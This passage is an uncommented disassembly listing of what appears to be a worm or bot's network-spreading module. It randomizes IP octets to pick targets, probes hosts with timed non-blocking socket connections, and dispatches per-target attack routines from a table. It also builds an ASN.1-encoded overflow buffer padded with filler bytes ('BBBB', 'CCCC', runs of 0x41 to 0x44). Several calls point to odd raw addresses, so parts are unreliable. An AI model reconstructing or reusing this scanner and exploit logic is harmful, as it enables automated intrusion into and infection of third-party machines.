bp-based frame sub_40BFEB proc near ; CODE XREF: sub_40C124+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AFE0 cmp eax, 0Fh pop ecx jbe short loc_40C013 xor eax, eax jmp short loc_40C084 ; --------------------------------------------------------------------------- loc_40C013: ; CODE XREF: sub_40BFEB+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C645 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C040 call sub_41B8E2 mov [ebp+var_C], eax loc_40C040: ; CODE XREF: sub_40BFEB+4Bj cmp [ebp+var_8], esi jnz short loc_40C04D call sub_41B8E2 mov [ebp+var_8], eax loc_40C04D: ; CODE XREF: sub_40BFEB+58j cmp [ebp+var_4], esi jnz short loc_40C05A call sub_41B8E2 mov [ebp+var_4], eax loc_40C05A: ; CODE XREF: sub_40BFEB+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C066 call sub_41B8E2 loc_40C066: ; CODE XREF: sub_40BFEB+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB0C0[ecx*8], eax loc_40C084: ; CODE XREF: sub_40BFEB+26j pop esi leave retn sub_40BFEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C087 proc near ; CODE XREF: ___:0040B8FAp ; sub_40C124+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B0 xor eax, eax jmp short loc_40C11F ; --------------------------------------------------------------------------- loc_40C0B0: ; CODE XREF: sub_40C087+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CAF74 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB010 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CAF1C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CAF5C push esi mov edi, eax call dword_4CB00C xor eax, eax cmp edi, ebx setnle al loc_40C11F: ; CODE XREF: sub_40C087+27j pop edi pop esi pop ebx leave retn sub_40C087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C124 proc near ; DATA XREF: sub_40C124+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 26805CDh push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16B: ; CODE XREF: sub_40C124+204j mov eax, dword_43DEB4[ebx] cmp dword_4CB0C4[eax*8], 0 jz loc_40C32D cmp [ebp+var_10], 0 push eax jz short loc_40C195 lea eax, [ebp+var_150] push eax call sub_40BFEB pop ecx jmp short loc_40C19A ; --------------------------------------------------------------------------- loc_40C195: ; CODE XREF: sub_40C124+60j call sub_40BFA3 loc_40C19A: ; CODE XREF: sub_40C124+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43DEB4[ebx] push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A74 push eax call sub_41B886 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43DCB0[ebx] push eax call sub_41B886 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C087 add esp, 14h cmp eax, 1 jnz loc_40C31D cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C271 push offset dword_4CD0C0 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4CB000 push eax lea eax, [ebp+var_28C] push offset unk_431A4C push eax call sub_41B886 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C253 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C247 lea eax, [ebp+var_140] loc_40C247: ; CODE XREF: sub_40C124+11Bj push eax push [ebp+var_40] call sub_409A72 add esp, 14h loc_40C253: ; CODE XREF: sub_40C124+100j lea eax, [ebp+var_28C] push eax call sub_4151AC mov [esp+29Ch+var_29C], offset dword_4CD0C0 nop call near ptr 77F7E300h jmp loc_40C31D ; --------------------------------------------------------------------------- loc_40C271: ; CODE XREF: sub_40C124+D0j push edi call dword_4CB000 push eax lea eax, [ebp+var_208] push eax call sub_41B886 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B886 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C2B6 lea eax, [ebp+var_140] loc_40C2B6: ; CODE XREF: sub_40C124+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41B886 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_43140C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31D: ; CODE XREF: sub_40C124+C6j ; sub_40C124+148j push 7D0h call near ptr 2660F57h nop jmp loc_40C16B ; --------------------------------------------------------------------------- loc_40C32D: ; CODE XREF: sub_40C124+55j push esi call sub_40B412 pop ecx push 0 nop call near ptr 26D0000h loc_40C33C: ; DATA XREF: sub_401ACD+1F81o ; sub_401ACD+5C48o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CAFB4 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB0C0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACD push 0Bh call sub_40B33E add esp, 150h cmp eax, ebx jnz short loc_40C40A mov esi, offset dword_4CD0C0 push esi nop call near ptr 26D062Fh push 80000400h push esi nop call near ptr 26D04FAh test eax, eax jnz short loc_40C40A lea eax, [ebp+var_1CC] push offset unk_431B58 push eax call sub_41B886 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F4 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C3F4: ; CODE XREF: sub_40C124+2B1j lea eax, [ebp+var_1CC] push eax call sub_4151AC pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40A: ; CODE XREF: sub_40C124+27Bj ; sub_40C124+297j mov eax, [ebp+var_2C] mov esi, dword_427078 mov edi, ebx mov dword_4CB0C4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D7 loc_40C428: ; CODE XREF: sub_40C124+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431B24 push eax call sub_41B886 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B0F6 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43DEB4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C124 push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40C4A2 loc_40C497: ; CODE XREF: sub_40C124+37Cj cmp [ebp+var_4], ebx jnz short loc_40C4C9 push 1Eh call esi jmp short loc_40C497 ; --------------------------------------------------------------------------- loc_40C4A2: ; CODE XREF: sub_40C124+371j call near ptr 2670763h nop push eax lea eax, [ebp+var_1CC] push offset unk_431AEC push eax call sub_41B886 lea eax, [ebp+var_1CC] push eax call sub_4151AC add esp, 10h loc_40C4C9: ; CODE XREF: sub_40C124+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C428 loc_40C4D7: ; CODE XREF: sub_40C124+2FEj cmp [ebp+var_30], ebx jz loc_40C581 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C4EC: ; CODE XREF: sub_40C124+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB0C0[eax*8] push eax call dword_4CB000 push eax lea eax, [ebp+var_1CC] push offset unk_431AAC push eax call sub_41B886 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53A push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A72 add esp, 14h loc_40C53A: ; CODE XREF: sub_40C124+3F7j lea eax, [ebp+var_1CC] push eax call sub_4151AC mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CB0C4[eax*8], ebx call esi push 0Bh call sub_40B33E cmp eax, 1 pop ecx jnz short loc_40C571 push offset dword_4CD0C0 nop call near ptr 26D062Fh loc_40C571: ; CODE XREF: sub_40C124+440j push [ebp+var_2C] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h loc_40C581: ; CODE XREF: sub_40C124+3B6j ; sub_40C124+475j mov eax, [ebp+var_2C] cmp dword_4CB0C4[eax*8], 1 jnz loc_40C4EC push 7D0h call esi jmp short loc_40C581 sub_40C124 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59B proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CAF74 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CAFF4 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C659 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CAF1C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43DEBC[ecx], esi jz short loc_40C659 push [ebp+var_38] push [ebp+var_28] call dword_4CB000 push eax mov edi, offset dword_4CDA84 push offset dword_431B8C push edi call sub_41B886 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409A72 push edi call sub_4151AC add esp, 28h loc_40C659: ; CODE XREF: sub_40C59B+5Dj ; sub_40C59B+7Ej push esi call dword_4CB00C pop edi xor eax, eax pop esi leave retn 4 sub_40C59B endp ; --------------------------------------------------------------------------- dword_40C668 dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+603Eo dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h dd 1BB468FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C59Bh, 0E8905757h, 2263910h, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 4CE890FCh, 0FF022452h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h dd 50E0458Dh, 0FBBFE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40C759 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5D4Eo dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 868FFFFh dd 5000431Ch, 0F0E1E8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h, 0E8575700h dd 2263820h, 89C73B90h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 0E8900875h, 224515Bh, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0DC68FFFFh dd 5000431Bh, 0F051E8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40C866 proc near ; CODE XREF: sub_40CADA+Ep ; sub_40CADA+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C866 endp ; =============== S U B R O U T I N E ======================================= sub_40C870 proc near ; CODE XREF: sub_40CADA+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41B4D5 mov edi, eax pop ecx test edi, edi jz short loc_40C8A2 push ebx push 0 push edi call sub_41B590 push ebx push [esp+1Ch+arg_0] push edi call sub_41C310 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A2: ; CODE XREF: sub_40C870+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C870 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AA proc near ; CODE XREF: sub_40C9A4+18p ; sub_40CA1E+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41B4D5 mov esi, eax pop ecx test esi, esi jz short loc_40C8F6 push edi push 0 push esi call sub_41B590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C310 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C310 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F6: ; CODE XREF: sub_40C8AA+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AA endp ; =============== S U B R O U T I N E ======================================= sub_40C8FF proc near ; CODE XREF: sub_40C9A4+5Ep ; sub_40C9A4+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C90F push eax call sub_41B0B1 pop ecx loc_40C90F: ; CODE XREF: sub_40C8FF+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C8FF endp ; =============== S U B R O U T I N E ======================================= sub_40C918 proc near ; CODE XREF: sub_40C9A4+20p ; sub_40CA7F+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C945 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C949 loc_40C945: ; CODE XREF: sub_40C918+Dj xor al, al jmp short loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C949: ; CODE XREF: sub_40C918+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B590 add esp, 0Ch cmp ebx, 1 jnz short loc_40C96E mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C988 ; --------------------------------------------------------------------------- loc_40C96E: ; CODE XREF: sub_40C918+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C988: ; CODE XREF: sub_40C918+54j push eax call sub_41C310 add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A0: ; CODE XREF: sub_40C918+2Fj pop edi pop esi pop ebx retn sub_40C918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A4 proc near ; CODE XREF: sub_40CADA+89p ; sub_40CADA+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CAE2C call sub_40C8AA lea ecx, [ebp+var_8] call sub_40C918 mov eax, [ebp+var_4] inc eax push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C9DE xor al, al jmp short loc_40CA1A ; --------------------------------------------------------------------------- loc_40C9DE: ; CODE XREF: sub_40C9A4+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C310 add esp, 18h mov ecx, esi call sub_40C8FF mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C8FF mov al, 1 loc_40CA1A: ; CODE XREF: sub_40C9A4+38j pop edi pop esi leave retn sub_40C9A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1E proc near ; CODE XREF: sub_40CA52+14p ; sub_40CA6F+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1E endp ; =============== S U B R O U T I N E ======================================= sub_40CA52 proc near ; CODE XREF: sub_40CADA+F0p ; sub_40CADA+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AFE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CA1E pop esi retn 4 sub_40CA52 endp ; =============== S U B R O U T I N E ======================================= sub_40CA6F proc near ; CODE XREF: sub_40CABB+Bp ; sub_40CADA+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1E retn 8 sub_40CA6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA7F proc near ; CODE XREF: sub_40CABB+16p ; sub_40CADA+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C918 test al, al jz short loc_40CAB8 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42C8E8 call sub_40C8AA mov ecx, esi call sub_40C8FF mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB8: ; CODE XREF: sub_40CA7F+Fj pop esi leave retn sub_40CA7F endp ; =============== S U B R O U T I N E ======================================= sub_40CABB proc near ; CODE XREF: sub_40CADA+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA6F test al, al jz short loc_40CAD6 mov ecx, esi call sub_40CA7F loc_40CAD6: ; CODE XREF: sub_40CABB+12j pop esi retn 8 sub_40CABB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADA proc near ; CODE XREF: ___:0040D361p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C866 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2E mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2E push esi lea ecx, [ebp+var_30] call sub_40C866 lea ecx, [ebp+var_20] call sub_40C866 lea ecx, [ebp+var_50] call sub_40C866 lea ecx, [ebp+var_18] call sub_40C866 lea ecx, [ebp+var_40] call sub_40C866 lea ecx, [ebp+var_38] call sub_40C866 lea ecx, [ebp+var_28] call sub_40C866 push 4 push offset dword_431C40 lea ecx, [ebp+var_30] call sub_40CA1E push 3 push offset dword_431C48 lea ecx, [ebp+var_30] call sub_40CA1E lea ecx, [ebp+var_30] call sub_40C9A4 lea ecx, [ebp+var_30] call sub_40CA7F mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "░B░B░B░B" call sub_40CA1E push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1E mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CA1E lea ecx, [ebp+var_20] call sub_40C9A4 push offset loc_431FC4 lea ecx, [ebp+var_50] call sub_40CA52 lea ecx, [ebp+var_50] call sub_40C9A4 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C870 lea ecx, [ebp+var_58] call sub_40C9A4 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABB lea ecx, [ebp+var_58] call sub_40C8FF push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA52 push 4 push offset dword_431C4C lea ecx, [ebp+var_18] call sub_40CA1E push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1E sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1E lea ecx, [ebp+var_18] call sub_40C9A4 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA6F push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA6F lea ecx, [ebp+var_40] call sub_40CA7F lea ecx, [ebp+var_18] call sub_40C8FF lea ecx, [ebp+var_50] call sub_40C8FF push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA6F push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA6F push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA6F lea ecx, [ebp+var_38] call sub_40CA7F lea ecx, [ebp+var_20] call sub_40C8FF lea ecx, [ebp+var_30] call sub_40C8FF lea ecx, [ebp+var_40] call sub_40C8FF push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1E lea ecx, [ebp+var_28] call sub_40C9A4 push 2 push offset dword_431FB8 lea ecx, [ebp+var_28] call sub_40CA1E push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA6F lea ecx, [ebp+var_28] call sub_40CA7F lea ecx, [ebp+var_38] call sub_40C8FF lea ecx, [ebp+var_10] call sub_40C866 lea ecx, [ebp+var_8] call sub_40C866 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_28] call sub_40C8FF push offset dword_431FB4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push offset dword_431FB0 lea ecx, [ebp+var_10] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_10] call sub_40C918 lea ecx, [ebp+var_8] call sub_40C8FF push offset dword_431FA4 lea ecx, [ebp+var_8] call sub_40CA52 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C918 lea ecx, [ebp+var_10] call sub_40C8FF push (offset loc_431F9F+1) lea ecx, [ebp+var_48] call sub_40CA52 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA6F lea ecx, [ebp+var_8] call sub_40C8FF mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3C ; --------------------------------------------------------------------------- loc_40CE2E: ; CODE XREF: sub_40CADA+1Bj ; sub_40CADA+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3C: ; CODE XREF: sub_40CADA+352j pop edi pop ebx leave retn sub_40CADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE40 proc near ; CODE XREF: sub_40CF04+A1p ; sub_40CF04+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short 